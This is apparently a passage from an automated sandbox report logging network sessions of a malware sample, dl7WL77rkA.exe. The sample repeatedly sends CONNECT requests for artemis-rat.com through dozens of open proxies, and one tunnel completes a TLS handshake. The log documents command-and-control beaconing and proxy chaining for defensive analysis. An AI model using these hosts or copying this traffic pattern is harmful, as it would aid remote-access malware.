Mar 11, 2024 03:30:39.337542057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.5	50376	201.163.73.93	55443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.337666988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405018091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505903006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.599611998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.826464891 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 717 Content-Type: text/html Date: Wed, 06 Mar 2024 01:53:09 GMT Expires: Wed, 06 Mar 2024 01:53:09 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.5	50190	142.54.235.9	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.337794065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.5	51160	206.189.145.23	63625	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.340781927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.5	51269	72.206.181.97	64943	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.340903044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.5	51289	20.210.113.32	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.342283964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.613401890 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.5	51221	95.140.124.161	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.343897104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.5	51265	211.222.252.187	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.345412970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.644738913 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.5	50363	72.210.252.137	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.347037077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.5	51437	104.19.120.84	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.366904020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.523741961 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.5	51449	172.67.219.60	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.368940115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.530021906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.5	51435	104.24.35.152	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.369920015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.530159950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.5	51325	24.249.199.12	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.370881081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.5	51212	49.228.131.169	5000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.371037006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.764954090 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.5	51431	104.20.198.49	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.371454000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.530895948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.5	51329	72.195.34.35	27360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.371751070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.5	51434	104.238.111.107	5484	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.371962070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.842303991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.373660088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592550993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.702332973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889717102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.5	51328	184.178.172.18	15280	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.372113943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.5	51402	129.213.150.205	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.372360945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.608468056 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.5	51140	61.133.66.69	9002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.372437954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.822459936 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.5	51456	162.159.242.104	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.373198032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.534208059 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.5	51442	204.236.176.61	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.373984098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.547986984 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:39 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:39.554416895 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c ce a3 82 4c b0 46 98 70 05 52 63 5b ad 98 48 6a ea 6e 74 df b4 4d 50 3f c0 39 d6 03 97 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: elLFpRc[HjntMP?9*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:39.728137016 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 14 e7 99 c2 aa 5e 74 de b7 e5 5a 1c 04 69 11 c5 27 8a 50 5e 16 77 80 72 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9^tZi'P^wrDOWNGRD0000H010Uartemis-rat.com0240311021340Z260311021340Z010Uartemis-rat.com0"0H0r.X=
Mar 11, 2024 03:30:39.730441093 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 bb d8 9f 1d f1 65 2a a7 65 71 5a 94 9e 3a 10 bc b6 6d e9 d0 4b 94 41 8b 35 2c fa 23 6d 24 52 15 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 b3 c1 ea 62 81 a4 f7 cd f2 5b 6f 02 e6 0e a3 e6 1b ba a2 e5 4a Data Ascii: %! e*eqZ:mKA5,#m$R(b[oJ9tV -
Mar 11, 2024 03:30:39.903244972 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 0f e8 24 64 7b 83 6c 29 32 07 29 d5 69 7a b9 fd 5b 3b 80 35 b6 2f cc 8f 2d 34 84 a1 d9 bb 25 ff a8 db d7 f7 3f 18 50 37 Data Ascii: ($d{l)2)iz[;5/-4%?P7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.5	51377	38.162.19.123	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.374042988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.784830093 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.5	51258	78.30.128.10	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.376601934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.711673021 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.5	51359	72.195.114.169	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.377378941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.5	51419	12.186.205.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.378823042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.5	51482	172.67.182.150	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
